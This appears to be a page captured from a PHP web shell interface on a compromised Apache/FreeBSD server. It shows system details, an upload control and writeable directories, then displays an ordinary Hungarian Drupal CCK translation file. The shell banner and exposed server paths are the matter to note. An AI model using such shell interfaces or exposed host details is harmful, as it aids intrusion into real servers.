KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/afglcweb/ny/sites/all/modules/cck/modules/text/translations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/afglcweb/ny/sites/all/modules/cck/modules/text/translations/modules-text.hu.po
# Hungarian translation of text (all releases)
# Copyright (c) 2008 by the Hungarian translation team
# Generated from files:
#  text.module,v 1.95.2.20 2008/10/01 17:04:31 karens
#  text.info,v 1.9 2008/04/23 18:02:31 dww
#
msgid ""
msgstr ""
"Project-Id-Version: text (all releases)\n"
"POT-Creation-Date: 2008-10-26 11:32-0500\n"
"PO-Revision-Date: 2008-10-26 09:41-0500\n"
"Last-Translator: Fehér János <feher.janos _at- mindworks.hu>\n"
"Language-Team: Drupal.hu Fordítói Csapat <forditas [at] drupal.hu>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n!=1);\n"

#: text.module:103,112
msgid "Code"
msgstr "Kód"

#: text.module:202
msgid "Default"
msgstr "Alapértelmezett"

#: text.module:66,207
msgid "Plain text"
msgstr "Egyszerű szöveg"

#: text.info:0
msgid "CCK"
msgstr "CCK"

#: text.module:96
msgid "PHP code"
msgstr "PHP kód"

#: text.module:113
msgid "&lt;none&gt;"
msgstr "&lt;nincs&gt;"

#: text.module:114
msgid "You're not allowed to input PHP code."
msgstr "Nem engedélyezett a PHP kód bevitele."

#: text.module:82
msgid "Allowed values"
msgstr "Megengedett értékek"

#: text.module:88
msgid "Allowed values list"
msgstr "Megengedett értékek"

#: text.module:92
msgid ""
"The possible values this field can contain. Enter one value per line, "
"in the format key|label. The key is the value that will be stored in "
"the database, and it must match the field storage type (%type). The "
"label is optional, and the key will be used as the label if no label "
"is specified.<br />Allowed HTML tags: @tags"
msgstr ""
"A mező lehetséges értékei. Egy sorban egy értéket lehet megadni "
"kulcs|címke formában. A kulcs értéke kerül az adatbázisba, és "
"ennek meg kell felelnie az adatbázisban tárolt típussal (%type). A "
"címke nem kötelező, ha nincs megadva, akkor a kulcs kerül "
"felhasználásra, mint címke.<br />Engedélyezett HTML elemek: @tags"

#: text.module:106
msgid ""
"Advanced usage only: PHP code that returns a keyed array of allowed "
"values. Should not include &lt;?php ?&gt; delimiters. If this field is "
"filled out, the array returned by this code will override the allowed "
"values list above."
msgstr ""
"Csak haladóknak: PHP kód, ami visszaadja a megengedett értékek "
"tömbjét. Nem szükséges &lt;?php ?&gt; elemek közé zárni. Ha ez "
"a mező ki van töltve, a kód által visszaadott tömb felülír "
"minden fentebb megadott értéket."

#: text.module:114
msgid ""
"This PHP code was set by an administrator and will override the "
"allowed values list above."
msgstr ""
"Ezt a PHP kódot egy adminisztrátor állította be, és felül fogja "
"írni a fentebb megadott elfogadható értékek listáját."

#: text.module:162
msgid "%name: illegal value."
msgstr "%name: érvénytelen érték."

#: text.module:262
msgid "Text field"
msgstr "Szöveg mező"

#: text.module:50
msgid "Store text in the database."
msgstr "Szöveget tárol az adatbázisban."

#: text.module:66
msgid "Filtered text (user selects input format)"
msgstr "Formázott szöveg (a felhasználó választja ki a beviteli formát)"

#: text.module:69
msgid "Text processing"
msgstr "Szövegfeldolgozás"

#: text.module:75
msgid "Maximum length"
msgstr "Maximális hossz"

#: text.module:78
msgid ""
"The maximum length of the field in characters. Leave blank for an "
"unlimited size."
msgstr ""
"A mező karakterben mért maximális hossza. Üresen hagyva nincs "
"korlátozva."

#: text.module:165
msgid "%name: the value may not be longer than %max characters."
msgstr "%name: az érték nem lehet hosszabb %max karakternél."

#: text.module:212
msgid "Trimmed"
msgstr "Levágva"

#: text.module:270
msgid "Text area (multiple rows)"
msgstr "Szövegdoboz (többsoros)"

#: text.module:322
msgid "Size of textfield"
msgstr "A szövegmező mérete"

#: text.module:331
msgid "Rows"
msgstr "Sorok"

#: text.module:348
msgid "\"Rows\" must be a positive integer."
msgstr "A „Sorok” számának pozitív egész számot lehet megadni."

#: text.module:355
msgid "\"Size\" must be a positive integer."
msgstr "A méret csak pozitív egész szám lehet."

#: text.module:0
msgid "text"
msgstr "szöveg"

#: text.module:49; text.info:0
msgid "Text"
msgstr "Szöveg"


Anon7 - 2021